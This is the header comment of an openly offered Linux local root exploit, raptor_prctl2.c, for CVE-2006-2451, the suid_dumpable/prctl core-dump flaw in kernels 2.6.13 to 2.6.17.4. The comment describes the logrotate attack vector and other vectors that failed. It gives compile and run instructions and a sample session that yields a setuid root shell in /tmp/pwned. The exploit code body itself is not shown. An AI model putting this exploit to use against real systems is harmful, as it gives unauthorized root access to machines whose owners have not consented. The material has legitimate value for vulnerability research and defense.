 * raptor_prctl2.c - Linux 2.6.x suid_dumpable2 (logrotate)
 * Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * The suid_dumpable support in Linux kernel 2.6.13 up to versions before 
 * 2.6.17.4, and 2.6.16 before 2.6.16.24, allows a local user to cause a denial 
 * of service (disk consumption) and POSSIBLY (yeah, sure;) gain privileges via 
 * the PR_SET_DUMPABLE argument of the prctl function and a program that causes 
 * a core dump file to be created in a directory for which the user does not 
 * have permissions (CVE-2006-2451).
 *
 * This exploit uses the logrotate attack vector: of course, you must be able 
 * to chdir() into the /etc/logrotate.d directory in order to exploit the 
 * vulnerability. I've experimented a bit with other attack vectors as well, 
 * with no luck: at (/var/spool/atjobs/) uses file name information to 
 * establish execution time, /etc/cron.hourly|daily|weekly|monthly want +x 
 * permissions, xinetd (/etc/xinetd.d) puked out the crafted garbage-filled 
 * coredump (see also http://www.0xdeadbeef.info/exploits/raptor_prctl.c).
 * 
 * Thanks to Solar Designer for the interesting discussion on attack vectors.
 *
 * NOTE THAT IN ORDER TO WORK THIS EXPLOIT *MUST* BE STATICALLY LINKED!!!
 *
 * Usage:
 * $ gcc raptor_prctl2.c -o raptor_prctl2 -static -Wall
 * [exploit must be statically linked]
 * $ ./raptor_prctl2
 * [please wait until logrotate is run]
 * $ ls -l /tmp/pwned
 * -rwsr-xr-x  1 root users 7221 2006-07-18 13:32 /tmp/pwned
 * $ /tmp/pwned
 * sh-3.00# id
 * uid=0(root) gid=0(root) groups=16(dialout),33(video),100(users)
 * sh-3.00#
 * [don't forget to delete /tmp/pwned!]
 *
 * Vulnerable platforms:
 * Linux from 2.6.13 up to 2.6.17.4 [tested on SuSE Linux 2.6.13-15.8-default]
